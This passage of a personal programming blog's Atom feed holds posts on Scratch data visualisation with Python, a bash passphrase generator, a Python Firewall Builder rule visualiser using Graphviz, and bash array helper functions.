url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq_IHMDGMVGDcXJXcbHRqq2j0vrUjzjJKMvrFOd_Ph-ES_V_xpWK8jXK81Du3OF44yZYM34oidEHKs-ToPxUiOzgUJ0CVjhT_wqbhOq81F_jYWV2KdMuByYdVFlQcj4_74FToSBPMuwpY/s72-c/side.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-2868963256157943039</id><published>2012-08-19T22:03:00.001+01:00</published><updated>2013-01-04T21:50:44.430+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="scratch"/><category scheme="http://www.blogger.com/atom/ns#" term="visualisation"/><title type='text'>Visualisation with Scratch</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;a href=&quot;http://scratch.mit.edu/&quot;&gt;&lt;b&gt;Scratch&lt;/b&gt;&lt;/a&gt;&amp;nbsp;allows you to create interactive stories, games, music and art using drag-and-drop programming. It is an excellent way to introduce basic programming concepts, such as variables and loops. But, it is also quite powerful, as it supports bi-directional communication to such things as Lego Mindstorms, and more generally, using TCP/IP. I decided to see what sort of data visualisation I could achieve with a few spare minutes and a bit of python code.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsQC8lmjYIAlKisXx5SZiu8QumzVjGycdeNtGiN24G6cVcVB5YDiZdfNCLCeyIZSO-mRjbJB1GIxXU7EEEWqsGJ9K44SV78RwrBCIwC6nzAubLvhmjtDdhhS6ZOMV1lw0HNC0BzYVN8Xc/s1600/scratch.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsQC8lmjYIAlKisXx5SZiu8QumzVjGycdeNtGiN24G6cVcVB5YDiZdfNCLCeyIZSO-mRjbJB1GIxXU7EEEWqsGJ9K44SV78RwrBCIwC6nzAubLvhmjtDdhhS6ZOMV1lw0HNC0BzYVN8Xc/s320/scratch.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
The first attempt ended up as a sort of &quot;meme cloud&quot;. Here, you send Scratch an alert level and a message, and it will display a meme based on the level, with the message in a speech bubble.The levels are:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;0 -&amp;nbsp;&lt;a href=&quot;http://knowyourmeme.com/memes/i-hate-sandcastles-success-kid&quot;&gt;Success kid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;1 - &lt;a href=&quot;http://knowyourmeme.com/memes/futurama-fry-not-sure-if-x&quot;&gt;Fry not sure if&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2 - &lt;a href=&quot;http://knowyourmeme.com/memes/y-u-no-guy&quot;&gt;Y U NO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;3 - &lt;a href=&quot;http://knowyourmeme.com/memes/insanity-wolf&quot;&gt;Insanity wolf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;4 - &lt;a href=&quot;http://knowyourmeme.com/memes/insanity-wolf&quot;&gt;First world problems&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
The most recent alert is shown with no transparency and with the speech bubble. As the alerts get older, they become increasingly transparent. Positions of the memes are random. It currently only supports 10 sprites, which means it will show up to 10 memes at any one time.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Here is a section of the code for one of the sprites:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP7x5cGm2i934oGAUykjdb8zymdNZqt2qPgtXlAAMZ5Yu5dzOZk2SlcdjqRI5oNWptHLktekWPgzPWXg0YMP8xwHglpuyYixs9ZTutBwqABxc4X7m8H12byGrSspGhpJveRtxUmofF5zI/s1600/meme-cloud-example.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP7x5cGm2i934oGAUykjdb8zymdNZqt2qPgtXlAAMZ5Yu5dzOZk2SlcdjqRI5oNWptHLktekWPgzPWXg0YMP8xwHglpuyYixs9ZTutBwqABxc4X7m8H12byGrSspGhpJveRtxUmofF5zI/s320/meme-cloud-example.PNG&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The problem with this approach is that Scratch doesn&#39;t allow you to dynamically create sprites, which sort of limits the functionality for certain things. However, there is an alternative. A sprite has, amongst all sorts of things, a pen. This pen can have colour, thickness, shade etc. Moving the sprite while the pen is &quot;down&quot; basically just draws on the screen. So, although we can&#39;t dynamically create sprites, we can draw all sorts of things programmatically. This takes us to attempt number two.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The plan here was to draw some sort of time chart or graph. A python script sends Scratch a pen size and colour for every event, and Scratch draws this. As it receives events, the pen moves to the right to create a sort of time chart. If the pen gets to the end of a line, it drops down to a new line. If it gets to the bottom of the screen, it goes back to the starting position in to top left corner. This means you can see the details of a relatively large number of events on a single screen, in order of time.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The example video below just uses random colours and pen sizes, so you won&#39;t be able to see any patterns. However, with real data you should be able to see correlations such as spikes in the number of errors, or outages etc. Also, the time between events in the video is fixed, so it looks a little boring. The white square shows the current position.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.blogger.com/video.g?token=AD6v5dyxvRa5huO4q5SApxs8T_BTHSp46Cv0reGEMuCRRcPniymkhf-Uo9d4mlDZbKWESYuLIGC8ulM7iBSI5w7f5A&#39; class=&#39;b-hbp-video b-uploaded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;
Not bad for a bit of dragging-and-dropping, and some python. I&#39;ll leave it as an exercise for the reader to integrate it into something like Splunk or Nagios :)&lt;br /&gt;
&lt;br /&gt;
You can download the meme cloud python &lt;a href=&quot;https://sites.google.com/site/0x10blog/meme_cloud.py&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;, and the meme cloud scratch file &lt;a href=&quot;https://sites.google.com/site/0x10blog/meme-cloud.sb&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;. The line viz python can be downloaded &lt;a href=&quot;https://sites.google.com/site/0x10blog/line-viz.py&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;, the scratch file &lt;a href=&quot;https://sites.google.com/site/0x10blog/line-viz.sb&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/2868963256157943039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2012/08/visualisation-with-scratch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2868963256157943039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2868963256157943039'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2012/08/visualisation-with-scratch.html' title='Visualisation with Scratch'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsQC8lmjYIAlKisXx5SZiu8QumzVjGycdeNtGiN24G6cVcVB5YDiZdfNCLCeyIZSO-mRjbJB1GIxXU7EEEWqsGJ9K44SV78RwrBCIwC6nzAubLvhmjtDdhhS6ZOMV1lw0HNC0BzYVN8Xc/s72-c/scratch.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-2447974880715056833</id><published>2012-01-18T10:04:00.000+00:00</published><updated>2013-04-16T23:23:37.913+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="modulo"/><category scheme="http://www.blogger.com/atom/ns#" term="pass phrase"/><category scheme="http://www.blogger.com/atom/ns#" term="passphrase"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="random"/><title type='text'>Passphrase generator in bash</title><content type='html'>[EDIT]&lt;br /&gt;
&lt;br /&gt;
The script below has been improved upon and can be found here:&amp;nbsp;&lt;a href=&quot;http://blog.0x10.co.uk/2013/04/passphrase-generators-part-ii.html&quot;&gt;http://blog.0x10.co.uk/2013/04/passphrase-generators-part-ii.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Passwords are dead. Long live passphrases. Or something like that anyway. As perfectly summarized by XKCD here &lt;a href=&quot;http://xkcd.com/936/&quot;&gt;http://xkcd.com/936/&lt;/a&gt;, passwords are hard to remember and easy to guess. Passphrases on the other hand are easy to remember and hard to guess.&lt;br /&gt;
To help generate passphrases, I&#39;ve put together a little bash script.&lt;br /&gt;
Firstly, download the dictionary containing 10000 most common English words. If you have a 4 word passphrase, thats 10^16 possible combinations.&lt;br /&gt;
&lt;pre&gt;$ wget http://wortschatz.uni-leipzig.de/Papers/top10000en.txt
&lt;/pre&gt;
Now save the following script:&lt;br /&gt;
&lt;pre&gt; 
#!/bin/bash

dict=$1
script=$2

chars=&quot;a-zA-Z0-9 &quot;
size=$(cat $dict | wc -l)
echo &quot;#!/bin/bash&quot; &amp;gt; $script
( echo -n &quot;dict=( &quot;; i=0; cat $dict | while read word; do echo -n &quot;$word &quot; | tr -c -d &quot;$chars&quot;; if [ &quot;$i&quot; -eq &quot;10&quot; ]; then i=1; echo &quot;&quot;; fi; ((i++)); done; echo &quot;)&quot; ) &amp;gt;&amp;gt; $script

echo &quot;size=$size&quot; &amp;gt;&amp;gt; $script
echo &#39;count=${1:-10}
words=${2:-4}

for i in $(seq 1 $count); do
    first=1
    for j in $(seq 1 $words); do
        r=$RANDOM
        let &quot;r %= $size&quot;
        word=${dict[$r]}
        if [ &quot;$first&quot; == &quot;0&quot; ]; then
            echo -n &quot; &quot;
                fi
        echo -n &quot;$word&quot;
        first=0
    done
    echo &quot;&quot;
done
&#39; &amp;gt;&amp;gt; $script
chmod +x $script
&lt;/pre&gt;
Using modulo on a random number? tut tut tut. Anyway, I&#39;ve called this script make.sh.&lt;br /&gt;
Now run it, giving it the dictionary file and an output script name:&lt;br /&gt;
&lt;pre&gt;$ ./make.sh top10000en.txt ppgen.sh
&lt;/pre&gt;
What it basically does is embed an array of words into ppgen.sh plus the code necessary to show passphrases.&lt;br /&gt;
It will look something like:&lt;br /&gt;
&lt;pre&gt;#!/bin/bash
dict=( the of to and a in for is The that on 
said with be was by as are at from 
it has an have will or its he not 
were which this but can more his been would 
...
definite fragile rewards antiabortion respects careers backers seize inefficient 
conceptual densities EPS Me Sparc spirits experimentally shallow )
size=10000
count=${1:-10}
words=${2:-4}

for i in $(seq 1 $count); do
    first=1
    for j in $(seq 1 $words); do
        r=$RANDOM
        let &quot;r %= $size&quot;
        word=${dict[$r]}
        if [ &quot;$first&quot; == &quot;0&quot; ]; then
            echo -n &quot; &quot;
                fi
        echo -n &quot;$word&quot;
        first=0
    done
    echo &quot;&quot;
done
&lt;/pre&gt;
We can now run it:&lt;br /&gt;
&lt;pre&gt;$ ./ppgen.sh 
Does Brazil quotas message
amount losers sing Oregon
patient misleading rebels smoking
refuse subordinated clerk wrote
have handle Rockwell strong
Committee Insurance consumer else
tariffs Unit mouth loved
V singled graduate kidney
uranium Hungary scientists Mar
fined Hercules Kemp Indian
&lt;/pre&gt;
Or, if we wanted to create just one 5 word phrase:&lt;br /&gt;
&lt;pre&gt;$ ./ppgen.sh 1 5
Commodity dioxide Boris unit drop
&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/2447974880715056833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2012/01/passphrase-generator.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2447974880715056833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/2447974880715056833'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2012/01/passphrase-generator.html' title='Passphrase generator in bash'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-8912154977600548832</id><published>2012-01-12T02:20:00.000+00:00</published><updated>2012-01-12T02:20:08.447+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="firewall"/><category scheme="http://www.blogger.com/atom/ns#" term="graphviz"/><category scheme="http://www.blogger.com/atom/ns#" term="information security"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><category scheme="http://www.blogger.com/atom/ns#" term="visualisation"/><title type='text'>Visualising rules from Firewall Builder - Part 1</title><content type='html'>&lt;p&gt;Firewall Builder (available here &lt;a href=&quot;http://www.fwbuilder.org/&quot;&gt;http://www.fwbuilder.org/&lt;/a&gt;) is a GUI that lets you configure a variety of firewall devices, for example iptables on a linux box or Cisco ASAs.&lt;/p&gt;

&lt;p&gt;The idea is to take the configuration file from Firewall Builder and generate some sort of rule visualisation. The ruleset I&#39;m using is basically just the built-in template called &quot;fw template 3&quot;. I then saved the ruleset as testfw.fwb.&lt;/p&gt;

&lt;p&gt;So, lets process the file:&lt;/p&gt;

&lt;pre&gt;
user@host:~/fwbvis$ ./fwbvis.py testfw.fwb ignoreme testfw.dot
user@host:~/fwbvis$ 
&lt;/pre&gt;

&lt;p&gt;Where the arguments are as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;fwbvis.py - the script (below)&lt;/li&gt;
&lt;li&gt;testfw.fwb - the firewall config saved by Firewall Builder&lt;/li&gt;
&lt;li&gt;ignoreme - to be ignored for now. It will become a configuration file for colours etc.&lt;/li&gt;
&lt;li&gt;testfw.dot - the output file. We just generate a png at the moment, in this case called testfw.dot.png&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the result:&lt;/p&gt;

&lt;p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiDQuCwE7oIQz-2gibunnhEzoR2xgjf73dlk910k5FDqH0kgxXU4bDm1Gs5UZrUA9wCXLteUlXBxEZC16zyIwdpDdRt7njpkFCB8Mpk8GnDXfQ8UoCRsGCL2M4FhhLFLcL0mKP8Ohl8Vs/s1600/testfw.dot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;191&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiDQuCwE7oIQz-2gibunnhEzoR2xgjf73dlk910k5FDqH0kgxXU4bDm1Gs5UZrUA9wCXLteUlXBxEZC16zyIwdpDdRt7njpkFCB8Mpk8GnDXfQ8UoCRsGCL2M4FhhLFLcL0mKP8Ohl8Vs/s320/testfw.dot.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/p&gt;

&lt;p&gt;It isn&#39;t perfect, but it is a pretty good start. The colours are as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;red - reject&lt;/li&gt;
&lt;li&gt;orange - deny&lt;/li&gt;
&lt;li&gt;green - accept&lt;/li&gt;
&lt;li&gt;blue - anything else&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, here is the script so far. It&#39;s pretty ugly btw...&lt;/p&gt;

&lt;pre&gt;
#!/usr/bin/python

import sys
import pydot
from xml.etree.ElementTree import ElementTree

sFWFile = sys.argv[1];
sConfigFile = sys.argv[2];
sOutputFile = sys.argv[3];

try:
    ds = open(sFWFile)
except:
    print &quot;Could not open file&quot;, sFWFile
    sys.exit(1)

try:
    tree = ElementTree()
    tree.parse(sFWFile)
except:
    print &quot;Could not parse file&quot;, sFWFile
    sys.exit(1)

graph = pydot.Dot(graph_type=&#39;digraph&#39;)

prefix = &quot;&quot;
rules = []
objects = {}
for element in tree.iter():
    tag = element.tag
    if tag[0] == &quot;{&quot;:
        uri,tag = tag[1:].split(&quot;}&quot;)
        if prefix == &quot;&quot;:
            prefix = uri
    oid = element.get(&#39;id&#39;)
    if oid is None:
        next
    objects[oid] = {&#39;tag&#39;: tag }
    for (key,value) in element.items():
        if key != &#39;id&#39;:
            objects[oid][key] = value

for rule in tree.findall(&#39;.//{%s}PolicyRule&#39; % prefix):
    oid = rule.get(&#39;id&#39;)
    action = objects[oid][&#39;action&#39;]
    color = &quot;black&quot;
    if action == &quot;Reject&quot;:
        color = &quot;red&quot;
    elif action == &quot;Deny&quot;:
        color = &quot;orange&quot;
    elif action == &quot;Accept&quot;:
        color = &quot;green&quot;
    else:
        color = &quot;blue&quot;

    src = rule.find(&#39;.//{%s}Src&#39; % prefix).find(&#39;.//{%s}ObjectRef&#39; % prefix).get(&quot;ref&quot;)
    if src in objects:
        src = objects[src][&#39;name&#39;]
    dst = rule.find(&#39;.//{%s}Dst&#39; % prefix).find(&#39;.//{%s}ObjectRef&#39; % prefix).get(&quot;ref&quot;)
    if dst in objects:
        dst = objects[dst][&#39;name&#39;]
    srv = rule.find(&#39;.//{%s}Srv&#39; % prefix).find(&#39;.//{%s}ServiceRef&#39; % prefix).get(&quot;ref&quot;)
    if srv in objects:
        srv = objects[srv][&#39;name&#39;]
    else:
        srv = &quot;unknown&quot;
    graph.add_edge(pydot.Edge(src, dst, label=srv, color=color))

#graph.write(sOutputFile)
graph.write_png(sOutputFile+&quot;.png&quot;)
&lt;/pre&gt;

&lt;p&gt;So, there you have it. More to follow as things improve.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/8912154977600548832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2012/01/visualising-rules-from-firewall-builder.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8912154977600548832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8912154977600548832'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2012/01/visualising-rules-from-firewall-builder.html' title='Visualising rules from Firewall Builder - Part 1'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiDQuCwE7oIQz-2gibunnhEzoR2xgjf73dlk910k5FDqH0kgxXU4bDm1Gs5UZrUA9wCXLteUlXBxEZC16zyIwdpDdRt7njpkFCB8Mpk8GnDXfQ8UoCRsGCL2M4FhhLFLcL0mKP8Ohl8Vs/s72-c/testfw.dot.png" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-4933551845055812666</id><published>2012-01-01T00:00:00.001+00:00</published><updated>2012-01-01T03:53:28.896+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="array"/><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Some bash array functions</title><content type='html'>Following on from the previous post, here are some functions for bash arrays. I&#39;ll add to this post later with more functions.

&lt;br /&gt;
&lt;b&gt;Test if a variable is an array:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;# is_array - Tests whether variable name is an array
# Parameters:
#   name - name of variable to test
# Returns:
#   0 if an array
#   1 otherwise
is_array()
{
    # Only takes one argument
    if [ &quot;${#}&quot; -ne &quot;1&quot; ]; then
        return 1
    fi

    # Name of the variable to test
    local name=&quot;$1&quot;; shift
    # Run the declare command against the variable
    local x=$(declare -p $name 2&amp;gt;/dev/null)
    # If it errored then the name probably isn&#39;t even
    # a variable
    if [ &quot;$?&quot; -ne &quot;0&quot; ]; then
        return 1
    else
        # It is at least declared, test if it is an array
        if [ &quot;${x:8:2}&quot; == &quot;-a&quot; ]; then
            return 0
        else
            return 1
        fi
    fi
}
&lt;/pre&gt;
&lt;b&gt;Push values onto an array:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;# array_push - Pushes one or more values onto an array
# Parameters:
#   name - name of the destination array
#   ...  - values to push onto array
# Returns:
#   Nothing
array_push()
{
    # Need two or more arguments
    if [ &quot;${#}&quot; -lt &quot;2&quot; ]; then
        return
    fi

    # Name of the destination array
    local name=&quot;$1&quot;; shift
    # Number of elements we&#39;re going to push
    local numElements=${#}
    # Counter
    local i=0
    # Starting position of destination array is the
    # size of the array
    eval local start=\$\{\#$name\[\@\]\}
    # Iterate over the elements supplied, adding them
    # to the destination array
    while [ &quot;$i&quot; -lt &quot;$numElements&quot; ]; do
        pos=$((start+i))
        eval $name\[$pos\]=\&quot;$1\&quot;;
        shift
        ((i++))
    done
}
&lt;/pre&gt;
&lt;b&gt;Pop from an array:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;# array_pop - pops a value from the end of the array
# Parameters:
#   name - name of array
#   dest - optional name of variable to put value in
# Returns:
#   Nothing
array_pop()
{
    # Need at least one argument
    if [ &quot;${#}&quot; -eq &quot;0&quot; ]; then
        return
    fi

    # Name of the array
    local name=&quot;$1&quot;; shift
    # If we have a second argument, use it to write value
    if [ -n &quot;$1&quot; ]; then
        local dest=&quot;$1&quot;; shift
    else
        local dest=&quot;&quot;
    fi
    # Size of the array
    eval local numElements=\$\{\#$name\[\@\]\}
    # Index of element is one less than size
    local index=$((numElements-1))
    # Get the value
    eval local value=\&quot;\$\{$name\[$index\]\}\&quot;
    if [ -n &quot;$dest&quot; ]; then
        # Update the specified dest variable
        eval $dest=\&quot;$value\&quot;
    else
        # Simply echo the value
        echo &quot;$value&quot;
    fi
    # Unset from the array
    eval unset $name\[$index\]
}
&lt;/pre&gt;
One thing to note is the clash between variable names. E.g. if you wanted to return the value into the name variable, it would be bad to call that variable &#39;value&#39;. local doesn&#39;t help here, best option would probably to use obscure variable names that are unlikely to clash.&lt;br /&gt;
&lt;b&gt;Walk an array:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;# array_walk - Walks through an array, calling the
#              callback function for each element
# Parameters:
#   name     - name of array to walk
#   callback - name of callback function
#   ...      - any parameters to be passed to callback
# Returns:
#   Nothing
array_walk()
{
    # Name of array to walk over
    local name=&quot;$1&quot;; shift
    # Name of call back function
    local callback=&quot;$1&quot;; shift
    # TODO - We should probably check whether callback
    # is actually a function

    # Number of elements in array
    eval local numElements=\$\{\#$name\[\@\]\}
    # Counter
    local i=0
    # Iterate over the elements in the array
    while [ &quot;$i&quot; -lt &quot;$numElements&quot; ]; do
        # Get the value
        eval value=$\{$name\[$i\]\}
        # Check whether it is an array
        is_array $value
        if [ &quot;$?&quot; -eq &quot;0&quot; ]; then
            # If so, recursively walk that array
            array_walk &quot;$value&quot; &quot;$callback&quot; &quot;$@&quot;
        else
            # Just a variable, so call the callback
            # function giving it the args and value
            $callback &quot;$@&quot; &quot;$value&quot;
        fi
        ((i++))
    done
}
&lt;/pre&gt;
&lt;b&gt;Now, a little play with those functions:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;declare -a aTest

echo First push
array_push aTest &#39;Hello&#39; &#39;there&#39; &#39;you&#39; &#39;:)&#39;
echo new array is ${aTest[@]}
echo

declare -a aTest2
echo Second push
array_push aTest2 &#39;How&#39; &#39;are&#39; &#39;you today?&#39;
echo second array is ${aTest2[@]}
echo

echo Third push to add second array to the first
array_push aTest &#39;aTest2&#39;
echo first array is ${aTest[@]}
echo

echo Defining destination array
declare -a aMerged
echo defining callback function
merge()
{
    local name=&quot;$1&quot;
    local value=&quot;$2&quot;
    # Simple push the value onto the destination
    array_push &quot;$name&quot; &quot;$value&quot;
}
echo Doing walk
array_walk aTest merge aMerged
echo merged array is ${aMerged[@]}
echo

echo Popping last element of merged array by reference
array_pop aMerged val
echo Value is $val
echo and again
array_pop aMerged val
echo Value is $val
echo merged array is now ${aMerged[@]}
&lt;/pre&gt;
&lt;b&gt;Running it gives us:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;$ ./arrays2.sh 
First push
new array is Hello there you :)

Second push
second array is How are you today?

Third push to add second array to the first
first array is Hello there you :) aTest2

Defining destination array
defining callback function
Doing walk
merged array is Hello there you :) How are you today?

Popping last element of merged array by reference
Value is you today?
and again
Value is are
merged array is now Hello there you :) How
$
&lt;/pre&gt;
So that sort of works. Next I should add an array_indexes() and array_values(). Oh, and happy new year :D&lt;br /&gt;
&lt;b&gt;Edit:&lt;/b&gt;

&lt;br /&gt;
Added array_pop function.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/4933551845055812666/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2012/01/some-bash-array-functions.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/4933551845055812666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/4933551845055812666'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2012/01/some-bash-array-functions.html' title='Some bash array functions'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-555277087293415027</id><published>2011-12-29T11:51:00.000+00:00</published><updated>2012-01-01T13:08:51.181+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="array"/><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="oop"/><title type='text'>A different 2D array in bash</title><content type='html'>&lt;p&gt;I have recently been writing a pretend Object Oriented Programming layer on top of bash. Basically, it uses some global vars, function-within-functions and a ton of eval to create the illusion of OOP in bash.&lt;/p&gt;

&lt;p&gt;Something like:&lt;/p&gt;

&lt;pre&gt;
#!/usr/lib/oobash.sh

# Import the Car class
`import Car`

# Create a new &quot;object&quot;
new Car as mycar

# Set a variable
mycar.speed 100

# Call a function
mycar.drive
&lt;/pre&gt;

&lt;p&gt;This will be made available here &lt;a href=&quot;http://code.google.com/p/object-oriented-bash/&quot;&gt;http://code.google.com/p/object-oriented-bash/&lt;/a&gt; soon, but in the meantime I have needed to implement a 2D array in bash. A quick Google search shows some different ways of doing this. Firstly is to dynamically create arrays using eval. The other approach is to use a huge offset, e.g. 1000, then refer to array[i][j] as array[i*1000+j] etc. The latter example requires you to keep track of two indexes which is sort of annoying.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Edit:&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;I noticed someone has already done something similar at &lt;a href=&quot;http://oobash.sourceforge.net/&quot;&gt;http://oobash.sourceforge.net/&lt;/a&gt;. I&#39;l take a look at it some point and if it does the job I&#39;ll abandon my project.&lt;/p&gt;

&lt;p&gt;So, in an attempt to find something different, I came up with the following. The idea is to store some metadata about how many elements we&#39;re adding.&lt;/p&gt;

